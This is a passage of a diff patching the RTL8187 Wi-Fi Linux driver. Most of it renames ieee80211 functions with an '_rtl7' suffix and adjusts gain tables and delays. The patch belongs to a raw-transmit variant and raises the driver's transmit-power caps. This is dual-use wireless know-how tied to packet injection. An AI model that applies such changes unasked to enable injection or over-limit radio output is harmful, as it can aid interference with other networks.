ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1401,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1419,5 @@ *d = '\0'; return escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/Makefile rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/Makefile --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/Makefile 2006-06-05 22:58:00.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/Makefile 2008-08-12 13:11:32.000000000 -0400 @@ -18,6 +18,8 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) + all: modules clean: diff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8180_93cx6.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_93cx6.c --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8180_93cx6.c 2006-06-05 22:58:00.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_93cx6.c 2008-08-12 13:11:32.000000000 -0400 @@ -87,7 +87,7 @@ u32 eprom_read(struct net_device *dev, u32 addr) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short read_cmd[]={1,1,0}; short addr_str[8]; int i; diff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8180_hw.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_hw.h --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8180_hw.h 2006-06-05 22:58:00.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_hw.h 2008-08-12 13:11:32.000000000 -0400 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8180_rtl8225.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.c --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8180_rtl8225.c 2006-06-05 22:58:02.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.c 2008-08-12 13:11:32.000000000 -0400 @@ -173,7 +173,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -208,7 +208,7 @@ { #ifdef USE_8051_3WIRE - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; //u8 bit; u16 wReg80, wReg82, wReg84; @@ -255,7 +255,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -349,7 +349,7 @@ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int GainIdx; int GainSetting; @@ -454,9 +454,9 @@ void rtl8225_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225_SetTXPowerLevel(dev, ch); @@ -474,7 +474,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -546,7 +546,7 @@ void rtl8225_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; diff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8180_rtl8225.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.h --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8180_rtl8225.h 2006-06-05 22:58:00.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.h 2008-08-12 13:11:32.000000000 -0400 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8180_rtl8225z2.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225z2.c --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8180_rtl8225z2.c 2006-06-05 22:58:02.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225z2.c 2008-08-12 13:11:32.000000000 -0400 @@ -2,12 +2,12 @@ This is part of the rtl8180-sa2400 driver released under the GPL (See file COPYING for details). Copyright (c) 2005 Andrea Merello - - This files contains programming code for the rtl8225 + + This files contains programming code for the rtl8225 radio frontend. - + *Many* thanks to Realtek Corp. for their great support! - + */ @@ -32,51 +32,68 @@ }; u8 rtl8225z2_gain_a[]={ - 0x13,0x27,0x5a,//,0x37,// -82dbm - 0x23,0x23,0x58,//,0x37,// -82dbm - 0x33,0x1f,0x56,//,0x37,// -82dbm - 0x43,0x1b,0x54,//,0x37,// -78dbm - 0x53,0x17,0x51,//,0x37,// -74dbm - 0x63,0x24,0x4f,//,0x37,// -70dbm - 0x73,0x0f,0x4c,//,0x37,// -66dbm + 0x13,0x27,0x5a,//,0x37,// -82dbm + 0x23,0x23,0x58,//,0x37,// -82dbm + 0x33,0x1f,0x56,//,0x37,// -82dbm + 0x43,0x1b,0x54,//,0x37,// -78dbm + 0x53,0x17,0x51,//,0x37,// -74dbm + 0x63,0x24,0x4f,//,0x37,// -70dbm + 0x73,0x0f,0x4c,//,0x37,// -66dbm }; #if 0 u32 rtl8225_chan[] = { 0, //dummy channel 0 - 0x085c, //1 - 0x08dc, //2 - 0x095c, //3 - 0x09dc, //4 - 0x0a5c, //5 - 0x0adc, //6 - 0x0b5c, //7 - 0x0bdc, //8 - 0x0c5c, //9 - 0x0cdc, //10 - 0x0d5c, //11 - 0x0ddc, //12 - 0x0e5c, //13 + 0x085c, //1 + 0x08dc, //2 + 0x095c, //3 + 0x09dc, //4 + 0x0a5c, //5 + 0x0adc, //6 + 0x0b5c, //7 + 0x0bdc, //8 + 0x0c5c, //9 + 0x0cdc, //10 + 0x0d5c, //11 + 0x0ddc, //12 + 0x0e5c, //13 //0x0f5c, //14 - 0x0f72, // 14 + 0x0f72, // 14 }; #endif +#if 1 //- -u16 rtl8225z2_rxgain[]={ +u16 rtl8225z2_rxgain[]={ 0x0400, 0x0401, 0x0402, 0x0403, 0x0404, 0x0405, 0x0408, 0x0409, - 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, + 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, 0x0542, 0x0543, 0x0544, 0x0545, 0x0580, 0x0581, 0x0582, 0x0583, - 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, + 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, 0x0645, 0x0680, 0x0681, 0x0682, 0x0683, 0x0684, 0x0685, 0x0688, 0x0689, 0x068a, 0x068b, 0x068c, 0x0742, 0x0743, 0x0744, 0x0745, 0x0780, 0x0781, 0x0782, 0x0783, 0x0784, 0x0785, 0x0788, 0x0789, 0x078a, 0x078b, 0x078c, 0x078d, 0x0790, 0x0791, 0x0792, 0x0793, - 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, - 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, - 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, + 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb }; +#else +u16 rtl8225z2_rxgain[]={ + 0x0000, 0x0001, 0x0002, 0x0003, 0x0004, 0x0005, 0x0008, 0x0009, + 0x000a, 0x000b, 0x0102, 0x0103, 0x0104, 0x0105, 0x0140, 0x0141, + 0x0142, 0x0143, 0x0144, 0x0145, 0x0180, 0x0181, 0x0182, 0x0183, + 0x0184, 0x0185, 0x0188, 0x0189, 0x018a, 0x018b, 0x0243, 0x0244, + 0x0245, 0x0280, 0x0281, 0x0282, 0x0283, 0x0284, 0x0285, 0x0288, + 0x0289, 0x028a, 0x028b, 0x028c, 0x0342, 0x0343, 0x0344, 0x0345, + 0x0380, 0x0381, 0x0382, 0x0383, 0x0384, 0x0385, 0x0388, 0x0389, + 0x038a, 0x038b, 0x038c, 0x038d, 0x0390, 0x0391, 0x0392, 0x0393, + 0x0394, 0x0395, 0x0398, 0x0399, 0x039a, 0x039b, 0x039c, 0x039d, + 0x03a0, 0x03a1, 0x03a2, 0x03a3, 0x03a4, 0x03a5, 0x03a8, 0x03a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb +}; +#endif //2005.11.16, u8 ZEBRA2_CCK_OFDM_GAIN_SETTING[]={ @@ -129,23 +146,30 @@ void rtl8225z2_set_gain(struct net_device *dev, short gain) { u8* rtl8225_gain; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + u8 mode = priv->ieee80211->mode; - - if(mode == IEEE_B || mode == IEEE_G) + + if((mode&IEEE_B) == IEEE_B || (mode&IEEE_G) == IEEE_G) { + //printk(KERN_WARNING "mode ag!\n"); rtl8225_gain = rtl8225z2_gain_bg; - else + } else { rtl8225_gain = rtl8225z2_gain_a; - + //printk(KERN_WARNING "mode a!\n"); + } + //write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 3]); //write_phy_ofdm(dev, 0x19, rtl8225_gain[gain * 3 + 1]); //write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 2]); //2005.11.17, by ch-hsu write_phy_ofdm(dev, 0x0b, rtl8225_gain[gain * 3]); + mdelay(1); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 1]); + mdelay(1); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 3 + 2]); - write_phy_ofdm(dev, 0x21, 0x37); + mdelay(1); + write_phy_ofdm(dev, 0x21, 0x17); + mdelay(1); } @@ -153,33 +177,33 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_8185 == 2) write_phy_ofdm(dev, 0x21, 0x27); else write_phy_ofdm(dev, 0x21, 0x37); - + write_phy_ofdm(dev, 0x25, 0x20); write_phy_ofdm(dev, 0x11, 0x6); - + if(priv->card_8185 == 1 && priv->card_8185_Bversion) write_phy_ofdm(dev, 0x27, 0x8); else write_phy_ofdm(dev, 0x27, 0x88); - + write_phy_ofdm(dev, 0x14, 0); write_phy_ofdm(dev, 0x16, 0); write_phy_ofdm(dev, 0x15, 0x40); write_phy_ofdm(dev, 0x17, 0x40); - + write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 4]); write_phy_ofdm(dev, 0x23, rtl8225_gain[gain * 4 + 1]); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 4 + 2]); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 4 + 3]); - //rtl8225_set_gain_usb(dev, gain); + //rtl8225_set_gain_usb(dev, gain); } #endif @@ -193,7 +217,7 @@ // ThreeWireReg tdata; int i; short bit, rw; - + u8 wLength = 6; u8 rLength = 12; u8 low2high = 0; @@ -207,20 +231,20 @@ dataRead = 0; - oval &= ~0xf; + oval &= ~0xf; write_nic_word(dev, RFPinsOutput, oval | BB_HOST_BANG_EN ); udelay(4); write_nic_word(dev, RFPinsOutput, oval ); udelay(5); - + rw = 0; - + mask = (low2high) ? 0x01 : (((u32)0x01)<<(32-1)); for(i = 0; i < wLength/2; i++) { bit = ((data2Write&mask) != 0) ? 1 : 0; write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(1); - + write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); @@ -233,9 +257,9 @@ write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(2); break; } - + bit = ((data2Write&mask) != 0) ? 1: 0; - + write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); @@ -252,22 +276,22 @@ for(i = 0; i < rLength; i++) { write_nic_word(dev, RFPinsOutput, rw|oval); udelay(1); - + write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); tmp = read_nic_word(dev, RFPinsInput); - + dataRead |= (tmp & BB_HOST_BANG_CLK ? mask : 0); write_nic_word(dev, RFPinsOutput, (rw|oval)); udelay(2); mask = (low2high) ? (mask<<1) : (mask>>1); } - + write_nic_word(dev, RFPinsOutput, BB_HOST_BANG_EN|BB_HOST_BANG_RW|oval); udelay(2); - write_nic_word(dev, RFPinsEnable, oval2); + write_nic_word(dev, RFPinsEnable, oval2); write_nic_word(dev, RFPinsSelect, oval3); // Set To SW Switch write_nic_word(dev, RFPinsOutput, 0x3a0); @@ -280,61 +304,61 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + out = read_nic_word(dev, RFPinsOutput) & 0xfff3; - + write_nic_word(dev,RFPinsEnable, (read_nic_word(dev,RFPinsEnable) | 0x7)); - + select = read_nic_word(dev, RFPinsSelect); - - write_nic_word(dev, RFPinsSelect, select | 0x7 | + + write_nic_word(dev, RFPinsSelect, select | 0x7 | ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); - + force_pci_posting(dev); udelay(10); - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN );//| 0x1fff); - + force_pci_posting(dev); udelay(2); - + write_nic_word(dev, RFPinsOutput, out); - + force_pci_posting(dev); udelay(10); - - + + for(i=15; i>=0;i--){ - + bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out); - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); i--; bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out); } - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN); - + force_pci_posting(dev); udelay(10); - write_nic_word(dev, RFPinsOutput, out | + write_nic_word(dev, RFPinsOutput, out | ((priv->card_type == USB) ? 4 : BB_HOST_BANG_EN)); - write_nic_word(dev, RFPinsSelect, select | - ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); + write_nic_word(dev, RFPinsSelect, select | + ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); if(priv->card_type == USB) mdelay(2); @@ -348,30 +372,30 @@ short vz2 = 1; /* sw to reg pg 1 */ write_rtl8225(dev, 0, 0x1b7); - + /* reg 8 pg 1 = 23*/ if( read_rtl8225(dev, 8) != 0x588) vz2 = 0; - - else /* reg 9 pg 1 = 24 */ + + else /* reg 9 pg 1 = 24 */ if( read_rtl8225(dev, 9) != 0x700) vz2 = 0; - - /* sw back to pg 0 */ + + /* sw back to pg 0 */ write_rtl8225(dev, 0, 0xb7); return vz2; - + } #if 0 void rtl8225_rf_close(struct net_device *dev) { - write_rtl8225(dev, 0x4, 0x1f); - + write_rtl8225(dev, 0x4, 0x1f); + force_pci_posting(dev); mdelay(1); - + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_OFF); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_OFF); } @@ -380,24 +404,24 @@ short rtl8225_rf_set_sens(struct net_device *dev, short sens) { if (sens <0 || sens > 6) return -1; - + if(sens > 4) write_rtl8225(dev, 0x0c, 0x850); - else + else write_rtl8225(dev, 0x0c, 0x50); sens= 6-sens; rtl8225_set_gain(dev, sens); - + write_phy_cck(dev, 0x41, rtl8225_threshold[sens]); return 0; - + } #endif void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + // int GainIdx; // int GainSetting; int i; @@ -406,44 +430,48 @@ u8 max_cck_power_level; //u8 min_cck_power_level; u8 max_ofdm_power_level; - u8 min_ofdm_power_level; + u8 min_ofdm_power_level; u8 cck_power_level = 0xff & priv->chtxpwr[ch]; u8 ofdm_power_level = 0xff & priv->chtxpwr_ofdm[ch]; - - - max_cck_power_level = 15; + + + max_cck_power_level = 35; //min_cck_power_level = 0; - max_ofdm_power_level = 25; // 12 -> 25 + max_ofdm_power_level = 35; // 12 -> 25 min_ofdm_power_level = 10; - + /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; - + priv->chtxpwr[ch] = max_cck_power_level; + } + cck_power_level += priv->cck_txpwr_base; - + if(cck_power_level > 35) cck_power_level = 35; - - if(ch == 14) + + if(ch == 14) cck_power_table = rtl8225z2_tx_power_cck_ch14; - else + else cck_power_table = rtl8225z2_tx_power_cck; - - + + if(cck_power_level >= 20 && cck_power_level < 30) + cck_power_level = 19; + for(i=0;i<8;i++){ - power = cck_power_table[i]; write_phy_cck(dev, 0x44 + i, power); } - + //write_nic_byte(dev, TX_GAIN_CCK, power); //2005.11.17, write_nic_byte(dev, TX_GAIN_CCK, ZEBRA2_CCK_OFDM_GAIN_SETTING[cck_power_level]); - + force_pci_posting(dev); mdelay(1); - + /* OFDM power setting */ // Old: // if(ofdm_power_level > max_ofdm_power_level) @@ -454,26 +482,26 @@ ofdm_power_level = max_ofdm_power_level; else ofdm_power_level += min_ofdm_power_level; - + ofdm_power_level += priv->ofdm_txpwr_base; - + if(ofdm_power_level > 35) ofdm_power_level = 35; - + rtl8185_set_anaparam2(dev,RTL8225_ANAPARAM2_ON); - + write_phy_ofdm(dev,2,0x42); write_phy_ofdm(dev,5,0); write_phy_ofdm(dev,6,0x40); write_phy_ofdm(dev,7,0); - write_phy_ofdm(dev,8,0x40); - + write_phy_ofdm(dev,8,0x40); + //write_nic_byte(dev, TX_GAIN_OFDM, ofdm_power_level); 